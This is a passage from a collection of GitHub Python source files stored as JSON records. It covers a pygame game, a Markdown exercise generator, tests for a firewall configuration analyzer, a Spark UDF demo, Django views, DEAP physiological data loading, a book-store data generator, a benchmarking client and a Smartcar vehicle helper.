self.car_grp:\n if pygame.sprite.spritecollide(car, self.car_grp, False):\n car.speed = 15\n if collide_list:\n touched = True\n player.rect.y += 2000\n if eat_list:\n self.SCORE += 15\n if tree_list:\n self.home = True\n self.level = 2\n print(self.home)\n #print(self.level, \"hi\")\n return touched, player.rect.center, self.SCORE, self.home\n\n def update(self, display, time, level, text):\n for sprite in self.all_sprites.sprites():\n display.blit(sprite.surface, sprite.rect)\n for player in self.player_grp.sprites():\n player.update(level)\n player.get_keys(time, level)\n for car in self.car_grp.sprites():\n car.update()\n for car in self.starting_car_grp.sprites():\n car.update()\n for seed in self.seed_grp:\n seed.update()\n for tree in self.tree_grp:\n tree.update()\n if text == False:\n for nut in self.nut_grp:\n nut.update()\n\n\n\n\n\n\n","repo_name":"SeaMoose6/BirdRun","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":14504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31320831442","text":"import os, re\nimport sys\n\nNB_DOSS = 40\n\nlst = ['{:02d}'.format(k) for k in range(1, NB_DOSS+1)]\n\ndef create_doss():\n for nom in lst:\n os.makedirs(nom + '_1', exist_ok = True)\n os.makedirs(nom + '_2', exist_ok = True)\n\ndef fichier(nom_doss):\n nom_file = nom_doss + '/' + 'enonce.md'\n with open(nom_file, 'w') as f:\n f.write(\"\")\n \n nom_file = nom_doss + '/' + 'correction.md'\n with open(nom_file, 'w') as f:\n f.write(\"\")\n\ndef fichiers_1_2():\n for nom_doss in lst:\n n1 = nom_doss + '_1'\n n2 = nom_doss + '_2'\n fichier(n1)\n fichier(n2)\n\n\n#create_doss()\n#fichiers_1_2()\n\n\n\n\n# contenu = \"\"\"\n# ### Exercice {0}.1 □\n# !!! example \"Exercice {0}.1\"\n# === \"Énoncé\" \n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_1/enonce.md\"\n# \n# === \"Correction\"\n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_1/correction.md\"\n# \n# === \"Source Markdown\"\n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_1/enonce.md\"\n# \n# \n# ### Exercice {0}.2 □\n# !!! example \"Exercice {0}.2\"\n# === \"Énoncé\" \n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_2/enonce.md\"\n# \n# === \"Correction\"\n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_2/correction.md\"\n# \n# === \"Sources Markdown\"\n# ```md\n# --8<-- \"docs/T6_6_Epreuve_pratique/files/{0}_2/enonce.md\"\n# ``` \n# \"\"\"\n\ncontenu = \"\"\"\n--8<-- \"./docs/exercices/{0}/{1}/sujet_formate.md\"\n\n\"\"\"\nide = \"\"\"\n```python\n --8<-- \"./docs/exercices/{0}/{1}/exo.py\"\n```\n\"\"\"\nexclude = \"\"\"\nsearch:\n - exclude: True\"\"\"\nfor root, dirs, lst_files in os.walk('.') :\n for file in lst_files :\n if file == 'sujet.md' :\n print('traitenent de {0}/{1}'.format(root, file))\n with open(os.path.join(root,file), 'r') as f:\n data = ''.join(f.readlines())\n \n titre = re.search('title: (?P.*)', data).group('title')\n regex = re.compile(r'exclude: True', re.MULTILINE)\n if regex.search(data) == None :\n regex = re.compile(r'title:.*', re.MULTILINE)\n titre = regex.search(data).group()\n data2 = regex.sub(titre + exclude, data)\n with open(os.path.join(root,file), 'w') as f:\n f.write(data2)\n titre = re.search('title: (?P<title>.*)', data).group('title')\n regex = re.compile(r'---(\\n|.)*---$', re.MULTILINE)\n data = regex.sub('', data)\n regex = re.compile(r\"{{ py_sujet.*}}\", re.MULTILINE)\n data = regex.sub('', data)\n regex = re.compile(r\"{{ IDE.*}}\", re.MULTILINE)\n rep = root.split('/')\n data = regex.sub(ide.format(rep[-2], rep[-1]), data)\n regex = re.compile(r']\\(images/', re.MULTILINE)\n data = regex.sub(']({0}/images/'.format(rep[-1]), data) \n with open(os.path.join(root, 'sujet_formate.md'), 'w') as f :\n f.write(\"\\n\\n### {0} \\n\\n\".format(titre))\n f.write(data)\n \n \n \nfor rep in os.listdir() : \n if os.path.isdir(rep) :\n with open('./{0}/exos.md'.format(rep), 'w') as f :\n for ss_rep in os.listdir('./'+rep) :\n f.write(contenu.format(rep, ss_rep))\n \n\n\n\n# nom_dossier = 'listes_logins'\n# nom_sources = \"sources\"\n# os.makedirs(nom_dossier, exist_ok = True)\n# os.makedirs(nom_sources, exist_ok = True)\n# for file in os.scandir(nom_dossier):\n# os.remove(file.path)\n# \n# \n# \n# \n# for classe in classes:\n# print(classe)\n# nomhtml = nom_sources + '/' + classe + '.html'\n# with open(nomhtml, 'w') as f:\n# f.write(html_start)\n# f.write('<h1> ' + classe + ' - logins Scribe </h1>')\n# f.write(tabdf[classe].to_html(index=False))\n# f.write(html_end)\n# nom_fichier = nom_dossier + '/' + classe + '.pdf'\n# pdf.from_file(nomhtml, nom_fichier)\n# os.remove(nomhtml)\n# os.rmdir(nom_sources)\n# print(\"Terminé\")\n","repo_name":"RVDROU/Ressources-NSI","sub_path":"docs/exercices/gen2.py","file_name":"gen2.py","file_ext":"py","file_size_in_byte":4049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19768596909","text":"#!/usr/bin/env python\nimport unittest\n\nfrom palo_alto_firewall_analyzer.core import get_policy_validators\nfrom palo_alto_firewall_analyzer.core import ProfilePackage, ConfigurationSettings\nfrom palo_alto_firewall_analyzer.pan_config import PanConfig\n\n\nclass TestShadowingObjects(unittest.TestCase):\n @staticmethod\n def create_profilepackage(shared_services, dg_services, shared_service_groups, dg_service_groups):\n device_groups = [\"test_dg\"]\n device_group_hierarchy_parent = {\"test_dg\": \"shared\"}\n devicegroup_objects = {\"shared\": {}, \"test_dg\": {}}\n devicegroup_objects[\"shared\"]['Services'] = shared_services\n devicegroup_objects[\"test_dg\"]['Services'] = dg_services\n devicegroup_objects[\"shared\"]['ServiceGroups'] = shared_service_groups\n devicegroup_objects[\"test_dg\"]['ServiceGroups'] = dg_service_groups\n\n profilepackage = ProfilePackage(\n api_key='',\n pan_config=PanConfig('<_/>'),\n settings=ConfigurationSettings().get_config(),\n device_group_hierarchy_children={},\n device_group_hierarchy_parent=device_group_hierarchy_parent,\n device_groups_and_firewalls={},\n device_groups=device_groups,\n devicegroup_objects=devicegroup_objects,\n devicegroup_exclusive_objects={},\n rule_limit_enabled=False\n )\n return profilepackage\n\n def test_shadowing_services(self):\n test_xml = \"\"\"\\\n <response status=\"success\"><result><config>\n <shared>\n <service>\n <entry name=\"tcp-nondup\"><protocol><tcp><port>1</port><override><no/></override></tcp></protocol></entry>\n <entry name=\"tcp-dup\"><protocol><tcp><port>2</port><override><no/></override></tcp></protocol></entry>\n </service>\n </shared>\n <devices><entry><device-group><entry name=\"test_dg\">\n <service>\n <entry name=\"tcp-dup\"><protocol><tcp><port>2</port><override><no/></override></tcp></protocol></entry>\n </service>\n </entry></device-group></entry></devices>\n </config></result></response>\n \"\"\"\n pan_config = PanConfig(test_xml)\n shared_services = pan_config.get_devicegroup_object('Services', 'shared')\n dg_services = pan_config.get_devicegroup_object('Services', 'test_dg')\n profilepackage = self.create_profilepackage(shared_services, dg_services, [], [])\n\n _, _, validator_function = get_policy_validators()['ShadowingServices']\n results = validator_function(profilepackage)\n\n self.assertEqual(len(results), 1)\n self.assertEqual(len(results[0].data), 2)\n self.assertEqual(results[0].data[0][0], 'shared')\n self.assertEqual(results[0].data[0][1].get('name'), 'tcp-dup')\n self.assertEqual(results[0].data[1][0], 'test_dg')\n self.assertEqual(results[0].data[1][1].get('name'), 'tcp-dup')\n\n def test_shadowing_servicegroups(self):\n test_xml = \"\"\"\\\n <response status=\"success\"><result><config>\n <shared>\n <service-group>\n <entry name=\"uniquegroup1\"><members><member>mem1</member><member>mem2</member></members></entry>\n <entry name=\"dupgroup1\"><members><member>mem1</member><member>mem2</member></members></entry>\n </service-group>\n </shared>\n <devices><entry><device-group><entry name=\"test_dg\">\n <service-group>\n <entry name=\"dupgroup1\"><members><member>mem1</member><member>mem2</member></members></entry>\n <entry name=\"uniquegroup2\"><members><member>mem1</member><member>mem2</member></members></entry>\n </service-group>\n </entry></device-group></entry></devices>\n </config></result></response>\n \"\"\"\n pan_config = PanConfig(test_xml)\n shared_service_groups = pan_config.get_devicegroup_object('ServiceGroups', 'shared')\n dg_service_groups = pan_config.get_devicegroup_object('ServiceGroups', 'test_dg')\n\n profilepackage = self.create_profilepackage([], [], shared_service_groups, dg_service_groups)\n\n _, _, validator_function = get_policy_validators()['ShadowingServiceGroups']\n results = validator_function(profilepackage)\n self.assertEqual(len(results), 1)\n self.assertEqual(len(results[0].data), 2)\n self.assertEqual(results[0].data[0][0], 'shared')\n self.assertEqual(results[0].data[0][1].get('name'), 'dupgroup1')\n self.assertEqual(results[0].data[1][0], 'test_dg')\n self.assertEqual(results[0].data[1][1].get('name'), 'dupgroup1')\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"moshekaplan/palo_alto_firewall_analyzer","sub_path":"tests/test_ShadowingObjects.py","file_name":"test_ShadowingObjects.py","file_ext":"py","file_size_in_byte":4703,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"11597791851","text":"# -*- coding:utf-8 -*-\n\"\"\"\n:Description: Spark SQL 多个UDF作用于一列\n:Owner: jiajing_qu\n:Create time: 2020/08/17 10:17\n\"\"\"\nfrom pyspark.sql import SparkSession\n\nfrom pyspark.sql.types import IntegerType\nfrom pyspark.sql.functions import udf, struct\nfrom pyspark.sql.functions import lit\nfrom pyspark.sql.functions import *\n\n\nclass udfs:\n def sum2(self, x):\n return x + 4\n\n def multi(self, x):\n return x * 2\n\n def div(self, x):\n return x / 3\n\n\nfun_list = [\"sum2\", \"multi\", \"div\"]\nudfs = udfs()\n\n\ndef my_udf(func_list):\n def all_udf(v):\n r = None\n for f in func_list:\n if r is None:\n r = getattr(udfs, f)(v)\n else:\n r = getattr(udfs, f)(r)\n return r\n return udf(all_udf, IntegerType())\n\n\ndef main():\n spark = SparkSession.builder.enableHiveSupport()\\\n .config(\"hive.exec.dynamic.partition\", True)\\\n .config(\"hive.exec.dynamic.partition\", True)\\\n .config(\"hive.exec.dynamic.partition.mode\", \"nonstrict\")\\\n .appName(\"Test udf\").getOrCreate()\n\n df = spark.createDataFrame([(101, 1, 16)], ['ID', 'A', 'B'])\n df.show()\n\n df.withColumn('Result2', my_udf(fun_list)(\"A\")).show()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Shmilyqjj/Shmily-py","sub_path":"BigData/learn_and_tests/Spark/udf/multi_udf_one_col.py","file_name":"multi_udf_one_col.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"40795425696","text":"from django.shortcuts import render, redirect\r\nfrom .models import *\r\n\r\ndef addexpense(request):\r\n if request.method==\"POST\":\r\n obj=expenseform(request.POST)\r\n obj.save()\r\n return redirect(\"/\")\r\n else:\r\n d={\"form\":expenseform}\r\n return render(request,\"form.html\",d)\r\n\r\ndef details(request):\r\n obj=Expense.objects.all()\r\n d={'data1':obj}\r\n return render (request,\"details1.html\",d)\r\n\r\n\r\n\r\ndef delete(request,incid):\r\n obj=Expense.objects.get(id=incid)\r\n obj.delete()\r\n return redirect(\"/Inc-details\")\r\n\r\ndef edit(request,incid):\r\n data=Expense.objects.get(id=incid)\r\n if request.method==\"POST\":\r\n obj=expenseform(request.POST,instance=data)\r\n obj.save()\r\n return redirect(\"/\")\r\n else:\r\n d={\"form\":expenseform(instance=data) }\r\n return render(request,\"form.html\",d) \r\n","repo_name":"awk26/income","sub_path":"Expense/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15413871586","text":"import pandas as pd\nimport numpy as np\nimport os \nimport pickle \n#=================================================================================================\n# Physiological data read according to the client\n#=================================================================================================\n\n##===================================================\n# EEG data read from files\n##===================================================\n# def eeg_data(p):\n# file_eeg = '/home/gp/Desktop/MER_arin/DEAP_data/eeg_data/'+str(p)+'_data_DEAP'+'.csv'\n# print(file_eeg)\n# eeg_sig = pd.read_csv(file_eeg,sep=',', header = None, engine='python')\n# return eeg_sig\n\n##===================================================\n# \n##===================================================\ndef get_emg_eog_gsr_labels_data(p):\n f='data_preprocessed_python'\n physio_data_all = []\n label_data_all = []\n# file = os.path.join(r, i) //check later\n if p<=8:\n file = '/home/csis/Documents/data_preprocessed_python/s0'+str(p+1)+'.dat'\n else:\n file = '/home/csis/Documents/data_preprocessed_python/s'+str(p+1)+'.dat'\n \n with open(file, 'rb') as s_data: \n content = pickle.load(s_data, encoding='latin1')\n physio_data_all.append(content['data'])\n label_data_all.append(content['labels'])\n# for (r, d, f) in os.walk(f):\n# for i in f:\n# print(i)\n\n p_all = np.array(physio_data_all)\n l_all = np.array(label_data_all)\n EMG_all = p_all[:,:,34:36,:]\n EOG_all = p_all[:,:,32:34,:]\n GSR_all = p_all[:,:,36,:]\n \n print(EMG_all.shape,GSR_all.shape,len(label_data_all))\n \n return EMG_all,EOG_all,GSR_all,label_data_all\n\n##===================================================\n# \n##===================================================\ndef get_eog_v(i,EOG_all):\n s=EOG_all[0]\n print('shape of s',s.shape)\n t = s[i].T\n t = t[128*3:]\n t = t.reshape((-1, 128, 2))\n t_EOG = np.array(t)\n \n return t_EOG\n\ndef get_emg_v(i,EMG_all):\n s=EMG_all[0]\n \n t = s[i].T\n t = t[128*3:]\n t = t.reshape((-1, 128, 2))\n t_EMG = np.array(t)\n \n return t_EMG\n\ndef get_gsr_v(i,GSR_all):\n s=GSR_all[0]\n \n t = s[i].T\n t = t[128*3:]\n t = t.reshape((-1, 128, 1))\n t_GSR = np.array(t)\n \n return t_GSR\n\n\n##===================================================\n# \n##===================================================\ndef get_data_video(i,EMG_all,EOG_all,GSR_all,label_data_all):\n t_EOG_all = []\n t_EOG_all = get_eog_v(i,EOG_all)\n t_EMG_all = []\n t_EMG_all = get_emg_v(i,EMG_all)\n t_GSR_all = []\n t_GSR_all = get_gsr_v(i,GSR_all)\n \n y_all = []\n l=label_data_all[0]\n y = np.ones((60,1))*l[i]\n \n temp = []\n for j in y:\n y_val=[]\n for i in j:\n if i>5:\n y_val.append(1)\n else:\n y_val.append(0)\n temp.append(y_val)\n \n y_all = np.array(temp)\n y_all_concat = y_all.reshape(-1, 4)\n from keras.utils import np_utils\n\n y = np_utils.to_categorical(y_all_concat)\n\n\n from sklearn.model_selection import cross_val_score\n from sklearn.model_selection import KFold\n from sklearn.preprocessing import StandardScaler\n from sklearn.preprocessing import LabelEncoder\n\n scaler1 = StandardScaler()\n val_EMG = t_EMG_all.reshape(-1, 2)\n scaler1 = scaler1.fit(val_EMG)\n EMG = scaler1.transform(val_EMG)\n t_EMG = EMG.reshape(-1, 128, 2)\n\n scaler2 = StandardScaler()\n val_EOG = t_EOG_all.reshape(-1, 2)\n scaler2 = scaler2.fit(val_EOG)\n EOG = scaler2.transform(val_EOG)\n t_EOG = EOG.reshape(-1, 128, 2)\n\n scaler3 = StandardScaler()\n val_GSR = t_GSR_all.reshape(-1, 1)\n scaler3 = scaler3.fit(val_GSR)\n GSR = scaler3.transform(val_GSR)\n t_GSR = GSR.reshape(-1, 128, 1)\n \n return t_EMG,t_EOG,t_GSR,y\n","repo_name":"muskaankumar/Fed-ReMECS-mqtt","sub_path":"data_reading_utils.py","file_name":"data_reading_utils.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"38707579444","text":"\"\"\"\nTests the various Ball classes\nthat are defined in the imported m2_changers module.\n\nAuthors: David Mutchler, Mark Hays, Michael Wollowski, Amanda Stouder,\n Chandan Rupakheti, Katie Dion, Claude Anderson, Delvin Defoe,\n Curt Clifton, Matt Boutell, Dave Fisher, their colleagues,\n and PUT YOUR NAME HERE. October 2014.\n\"\"\" # TODO: 1. PUT YOUR NAME IN THE ABOVE LINE\n\nimport simulator as sim\nimport m2_changers as changers\nimport rosegraphics as rg\n\n\n# ----------------------------------------------------------------------\n# TODO: Modify this module as needed to test your Changer classes\n# as you implement them. We have supplied some tests for you.\n# ----------------------------------------------------------------------\ndef main():\n \"\"\"\n Calls the TEST functions in this module to get\n lists of Changers that are good for testing the Changer classes.\n Constructs a Simulator, sending the Changers to the Simulator.\n As such, this provides a VISUAL test of the Changer classes.\n \"\"\"\n # If you add your own classes, add to the following list.\n testers = [test_Dud, test_Mover, test_Randomizer, test_Jiggler,\n test_Follower, test_Grower, test_MoverGrower,\n test_Exploder]\n\n changers_to_test = []\n for tester in testers:\n changers = tester()\n if changers:\n changers_to_test = changers_to_test + changers\n\n sim.Simulator(changers_to_test)\n\n\ndef test_Dud():\n \"\"\" Returns a list of Dud instances good for testing. \"\"\"\n dud1 = changers.Dud(rg.Point(100, 100))\n dud2 = changers.Dud(rg.Point(150, 80))\n dud3 = changers.Dud(rg.Point(200, 240))\n\n return [dud1, dud2, dud3]\n\n\ndef test_Mover():\n \"\"\" Returns a list of Mover instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle = rg.Circle(rg.Point(100, 100), 50)\n circle.fill_color = 'green'\n rectangle = rg.Rectangle(rg.Point(125, 125), 75, 100)\n rectangle.fill_color = 'yellow'\n mover1 = changers.Mover(circle, 20, 20)\n mover2 = changers.Mover(rectangle, 30, 50)\n\n return [mover1, mover2]\n\n\ndef test_Randomizer():\n \"\"\" Returns a list of Randomizer instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle = rg.Circle(rg.Point(100, 100), 50)\n circle.fill_color = 'blue'\n rectangle = rg.Rectangle(rg.Point(125, 125), 75, 100)\n rectangle.fill_color = 'orange'\n random1 = changers.Randomizer(circle,)\n random2 = changers.Randomizer(rectangle)\n\n return [random1, random2]\n\n\ndef test_Jiggler():\n \"\"\" Returns a list of Jiggler instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle = rg.Circle(rg.Point(100, 320), 25)\n circle.fill_color = 'purple'\n rectangle = rg.Rectangle(rg.Point(500, 600), 120, 200)\n rectangle.fill_color = 'red'\n jiggler1 = changers.Jiggler(circle)\n jiggler2 = changers.Jiggler(rectangle)\n\n return [jiggler1, jiggler2]\n\n\ndef test_Follower():\n \"\"\" Returns a list of Follower instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle = rg.Circle(rg.Point(300, 320), 25)\n circle.fill_color = 'pink'\n rectangle = rg.Rectangle(rg.Point(500, 400), 100, 80)\n rectangle.fill_color = 'brown'\n follower1 = changers.Jiggler(circle)\n follower2 = changers.Mover(rectangle, 40, 40)\n test1 = changers.Follower(circle, follower1, 2)\n test2 = changers.Follower(rectangle, follower2, 4)\n\n return [test1, test2]\n\ndef test_Grower():\n \"\"\" Returns a list of Grower instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle1 = rg.Circle(rg.Point(600, 320), 25)\n circle1.fill_color = 'black'\n circle2 = rg.Circle(rg.Point(200, 320), 25)\n circle2.fill_color = 'green'\n grower1 = changers.Grower(circle1, 60)\n grower2 = changers.Grower(circle2, 90)\n\n return [grower1, grower2]\n\ndef test_MoverGrower():\n \"\"\" Returns a list of MoverGrower instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle1 = rg.Circle(rg.Point(100, 120), 25)\n circle1.fill_color = 'black'\n circle2 = rg.Circle(rg.Point(30, 20), 25)\n circle2.fill_color = 'green'\n moverg1 = changers.MoverGrower(circle1, 80, 20, 20)\n moverg2 = changers.MoverGrower(circle2, 40, 10, 30)\n\n return [moverg1, moverg2]\n\n\ndef test_Exploder():\n \"\"\" Returns a list of Exploder instances good for testing. \"\"\"\n # DONE: Implement and test this method.\n circle1 = rg.Circle(rg.Point(300, 220), 25)\n circle1.fill_color = 'black'\n circle2 = rg.Circle(rg.Point(330, 220), 25)\n circle2.fill_color = 'green'\n explode1 = changers.MoverGrower(circle1, 20, 20, 80)\n explode2 = changers.MoverGrower(circle2, 10, 30, 40)\n\n return [explode1, explode2]\n\n\n\n\n\n# ----------------------------------------------------------------------\n# If this module is running at the top level (as opposed to being\n# imported by another module), then call the 'main' function.\n# ----------------------------------------------------------------------\nif __name__ == '__main__':\n main()\n","repo_name":"Goldabj/IntroToProgramming","sub_path":"Session19_Inheritance/src/m2_test_changers.py","file_name":"m2_test_changers.py","file_ext":"py","file_size_in_byte":5159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69822282174","text":"from book.models import (\r\n Book, Category, Author, Publisher, Contract, Market,\r\n DiscountShop, BBook, PBook, EBook, ABook, Types\r\n)\r\n\r\nfrom random import randint, choice, choices\r\nfrom string import ascii_lowercase\r\nfrom django.utils import timezone\r\n\r\nCATEGORIES_COUNT = 1500\r\nAUTHORS_COUNT = 1500\r\nPUBLISHER_COUNT = 100\r\nCONTRACT_COUNT = 100\r\nBOOK_COUNT = 1500\r\nDISCOUNT_SHOP = 100\r\n\r\n\r\ndef get_random_obj(model):\r\n random_idx = randint(0, model.objects.count() - 1)\r\n return model.objects.all()[random_idx]\r\n\r\n\r\ndef get_random_queryset(model):\r\n authors = model.objects.all().values_list('id', flat=True)\r\n return model.objects.filter(pk__in=choices(authors, k=3))\r\n\r\n\r\ndef get_book_type():\r\n return choice([PBook, EBook, ABook, BBook])\r\n\r\n\r\ndef generate_data_by_type(book_type):\r\n if book_type == PBook:\r\n return {}\r\n elif book_type == EBook:\r\n generate = f'https://{\"\".join(choice(ascii_lowercase) for _ in range(randint(2, 30)))}/'\r\n\r\n if EBook.objects.filter(source=generate).exists():\r\n return ''.join(choice(ascii_lowercase) for _ in range(randint(2, 30)))\r\n\r\n return {\r\n \"source\": generate\r\n }\r\n elif book_type == ABook:\r\n return {\r\n \"file\": None\r\n }\r\n elif book_type == BBook:\r\n return {\r\n \"symbol_type\": choice([Types.ASSOCIATIVE, Types.DIDACTIC, Types.COMBINED])\r\n }\r\n\r\n\r\ndef create_category(count):\r\n for item in range(count):\r\n params = {\r\n \"title\": ''.join(choice(ascii_lowercase) for _ in range(randint(2, 50)))\r\n }\r\n Category.objects.create(**params)\r\n\r\n\r\ndef create_author(count):\r\n for item in range(count):\r\n params = {\r\n \"first_name\": ''.join(choice(ascii_lowercase) for _ in range(randint(2, 30))),\r\n \"second_name\": ''.join(choice(ascii_lowercase) for _ in range(randint(2, 30))),\r\n 'percent': randint(2, 30)\r\n }\r\n Author.objects.create(**params)\r\n\r\n\r\ndef create_publisher(count):\r\n for item in range(count):\r\n params = {\r\n \"title\": ''.join(choice(ascii_lowercase) for _ in range(randint(2, 40))),\r\n }\r\n Publisher.objects.create(**params)\r\n\r\n\r\ndef create_contract(count):\r\n\r\n for item in range(count):\r\n params = {\r\n \"title\": ''.join(choice(ascii_lowercase) for _ in range(randint(2, 100))),\r\n \"author\": get_random_obj(Author),\r\n 'publisher': get_random_obj(Publisher)\r\n }\r\n Contract.objects.create(**params)\r\n\r\n\r\ndef create_discount_shop(count):\r\n for item in range(count):\r\n params = {\r\n \"author_discount\": randint(1, 20),\r\n \"shop_discount\": randint(1, 20),\r\n }\r\n DiscountShop.objects.create(**params)\r\n\r\n\r\ndef create_book(count):\r\n\r\n now = timezone.now()\r\n\r\n for item in range(count):\r\n book_type = get_book_type()\r\n params = {\r\n \"title\": ''.join(choice(ascii_lowercase) for _ in range(randint(10, 50))),\r\n \"price\": randint(1, 2000),\r\n \"issued\": now,\r\n \"publisher\": get_random_obj(Publisher),\r\n \"market_id\": randint(1, 2000),\r\n \"discount_market\": randint(1, 50),\r\n \"discount_shop\": get_random_obj(DiscountShop),\r\n \"available\": True,\r\n }\r\n params.update(generate_data_by_type(book_type))\r\n book = book_type.objects.create(**params)\r\n authors_queryset = get_random_queryset(Author)\r\n categories_queryset = get_random_queryset(Category)\r\n\r\n for author in authors_queryset:\r\n book.authors.add(author)\r\n\r\n for categories in categories_queryset:\r\n book.categories.add(categories)\r\n\r\n\r\ndef main():\r\n create_category(CATEGORIES_COUNT)\r\n create_author(AUTHORS_COUNT)\r\n create_publisher(PUBLISHER_COUNT)\r\n create_contract(CONTRACT_COUNT)\r\n create_discount_shop(DISCOUNT_SHOP)\r\n create_book(BOOK_COUNT)\r\n\r\n","repo_name":"Lyxf3/Books_Shop","sub_path":"tmp/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":3990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18201733655","text":"\"\"\"Contains the BatchClient class.\"\"\"\n\nfrom client import Client\nimport pandas as pd\nimport ast\nfrom concurrent.futures import ThreadPoolExecutor\nimport requests\nimport os\nimport configparser\nfrom csv_file_writer import CsvFileWriter \n\nclass BatchClient:\n \"\"\"Represents a Benchmarking-in-Batch Client.\n \n Responsible for sending a set of requests in batches, to \n the given API and storing the consequent responses in a CSV.\n\n Attributes:\n api_endpoint: A String for the URL/prefix of URL at which to send the request.\n request_type: A String for the HTTP Request Type of the requests to be sent (POST/GET here).\n request_dataset_path: A String for the complete path of the file containing request body/URL suffixes.\n response_file_name: A String for the complete path of the file in which to store the responses.\n \"\"\"\n\n def __init__(self, api_endpoint, request_type, request_dataset_path, response_file_name):\n \"\"\"Initializes BatchClient with api_endpoint, request_type, request_dataset_path and response_file_name.\"\"\"\n self.api_endpoint = api_endpoint\n self.request_type = request_type\n self.request_dataset_path = request_dataset_path\n self.response_file_name = response_file_name\n\n def __create_post_clients(self, count, request_body_list):\n clients = []\n \n for i in range(count):\n clients.append(Client(\n self.api_endpoint, \n self.request_type, \n request_body_list[i]\n )\n )\n\n return clients\n\n def __create_get_clients(self, count, url_path_var_list):\n clients = []\n\n for i in range(count):\n clients.append(Client(\n self.api_endpoint + url_path_var_list[i], \n self.request_type,\n None\n )\n )\n\n return clients\n \n def send_requests_store_responses(self):\n request_body_df = pd.read_csv(self.request_dataset_path)\n response_entry_all_batches = []\n \n for batch_id in range(len(request_body_df)):\n batch_metadata = ast.literal_eval(request_body_df[\"Metadata\"][batch_id])\n batch_data = ast.literal_eval(request_body_df[\"Data\"][batch_id])\n response_entry_batch = []\n latency_entry_batch = []\n\n for sub_batch_id in range(len(batch_data)):\n client_count = batch_metadata[\"qps\"]\n clients = []\n\n if self.request_type == \"GET\":\n clients = self.__create_get_clients(client_count, batch_data[sub_batch_id])\n elif self.request_type == \"POST\":\n clients = self.__create_post_clients(client_count, batch_data[sub_batch_id])\n \n with ThreadPoolExecutor(max_workers = client_count) as executor:\n responses = executor.map(Client.call_send_request, clients)\n\n response_entry_sub_batch = []\n\n for response in responses:\n latency_entry_batch.append(response.elapsed.total_seconds())\n response_entry_sub_batch.append(response.json())\n\n response_entry_batch.append(response_entry_sub_batch)\n \n response_entry_all_batches.append([batch_metadata, response_entry_batch, latency_entry_batch])\n\n csv_file_writer = CsvFileWriter(self.response_file_name, [\"Metadata\", \"Responses\", \"Latency\"], response_entry_all_batches)\n csv_file_writer.write_to_csv()\n \n","repo_name":"googleinterns/chat-service-on-gcp","sub_path":"benchmarking/batch_client.py","file_name":"batch_client.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"70921512572","text":"\"\"\"\n* make a function where you're given a vehicle ID and an accessToken and you check a file for if it exists (structure this file as a .py that's a dict, where key is vehicle ID and value is the vehicle class instance)\n* if it exists, return the instance of the vehicle\n* if it doesn't exist, then you call a different function to initialize a Vehicle instance using the vehicle ID and accessToken\n\nhere's some helpful stuff for that second function:\n\nvehicle = smartcar.Vehicle(vehicleID, accessToken[\"access_token\"])\nlocation = vehicle.location()\nodometer = vehicle.odometer()\ninfo = vehicle.info()\n\nexamples:\n{'data': {'latitude': 37.07706832885742, 'longitude': -108.27452087402344}, 'age': datetime.datetime(2018, 11, 18, 3, 16, 12, 579000, tzinfo=tzutc())}\n{'data': {'distance': 44376.44140625}, 'unit_system': 'metric', 'age': datetime.datetime(2018, 11, 18, 3, 16, 12, 339000, tzinfo=tzutc())}\n{'id': 'bf67d922-1e8a-4eb3-bffe-475feaee8e4e', 'make': 'TESLA', 'model': 'Model S', 'year': 2016}\n\n\nAlso we need an update function (given a vehicle ID and a vehicle instance, update the dictionary's vehicle ID with the new vehicle instance)\n\"\"\"\nimport json\nimport smartcar\n\nfrom vehicle import Vehicle\n\ndef FindVehicleInstance(vehicleID, accessToken):\n \"\"\"check if it exists in json file. if so, return that. if not, make new instance in that json\"\"\"\n vehiclesDict = getVehicleDataAsDict()\n if vehicleID in vehiclesDict:\n return toVehicleInstance(vehicleID, vehiclesDict[vehicleID]) # return the vehicle instance (already in data.json)\n else:\n # doesn't exist in data.json, we'll add it into there\n vehicle = smartcar.Vehicle(vehicleID, accessToken)\n vehicleInfo = vehicle.info()\n vehicleOdometer = vehicle.odometer()['data']['distance']\n vehicleLatitude = vehicle.location()['data']['latitude']\n vehicleLongitude = vehicle.location()['data']['longitude']\n newVehicleInstance = Vehicle(vehicleID, vehicleInfo['make'], vehicleInfo['model'], vehicleInfo['year'], [vehicleOdometer], [(vehicleLatitude, vehicleLongitude)], accessToken)\n\n updateDictionary(vehicleID, newVehicleInstance.VehicleToDict())\n\n return newVehicleInstance\n\n\"\"\"Creates vehicle dictionary when data.json is empty\"\"\"\ndef vehicleInit(vehicleId, vehicle):\n storedDict = {}\n storedDict[vehicleId] = vehicle\n\n with open('data.json', 'w') as outfile:\n 